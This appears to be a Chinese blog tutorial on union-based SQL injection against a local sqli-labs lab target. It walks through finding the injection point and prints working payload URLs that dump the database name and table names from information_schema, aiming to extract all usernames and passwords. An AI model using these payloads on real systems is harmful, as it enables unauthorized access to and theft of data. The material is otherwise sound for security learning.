sql注入---Union注入

文章目录


 学习目标

  •  了解union注入过程中用到的关键数据库,数据表,数据列
  • sql查询中group_concat的作用
  • 使用union注入拿到靶机中数据库里的所有用户名和密码

一. 获得数据库表名和列名

步骤

  • 查找注入点
  • 判断未注入恶意sql的语句的类型:字符 or 数字
  • 如果是数字型,判断判断未注入恶意sql的语句的闭合方式
  • 判断判断未注入恶意sql的语句的查询列数
  • 判断回显位

成功查询到回显位后,可通过如下sql语句查询对方的数据库名

http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,version(),database()--+

        mysql中自带数据库information_schema 中存在两张数据表,数据表tables包含了数据库中所有表名的集合,数据表columns包含了所有列名集合。

使用如下SQL注入在tables这张数据表中查询所有数据库的表名(默认返回第一行的表名)
#http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,table_name,3 from information_schema.tables  --+

#查询指定数据库的表名可以使用如下sql注入语句(默认返回第一行查询到的表铭)
http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,table_name,3 from information_schema.tables where table_schema = database()  --+

table_schema:该列记录所有数据库名 
database() :回显数据库名

 sql注入成功后默认回显所有查询到的数据中的第一行数据,确保能够查询到所有该数据库名的表名可以使用 group_concat()函数。

http://192.168.100.10/sql/Less-1/index.php?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()  --+

 


总结

相关推荐

  1. sql注入union联合注入

    2024-04-02 00:20:02       35 阅读
  2. sql注入union 联合查询学习笔记

    2024-04-02 00:20:02       24 阅读
  3. 绕过去除 union 和 select 的 SQL 注入

    2024-04-02 00:20:02       34 阅读
  4. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2024-04-02 00:20:02      30 阅读
  5. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-04-02 00:20:02      33 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-02 00:20:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-02 00:20:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-02 00:20:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-02 00:20:02       18 阅读

热门阅读

  1. vue.router和vue.route

    2024-04-02 00:20:02       14 阅读
  2. vue 插槽(二)

    2024-04-02 00:20:02       13 阅读
  3. 前端Vue根据List中的某个字段排序

    2024-04-02 00:20:02       13 阅读
  4. linux 没有rc.local文件的解决方法

    2024-04-02 00:20:02       10 阅读
  5. strstr 的使用和模拟实现

    2024-04-02 00:20:02       16 阅读
  6. 开闭原则(Open Closed Principle)

    2024-04-02 00:20:02       15 阅读
  7. C++经典面试题目(十七)

    2024-04-02 00:20:02       14 阅读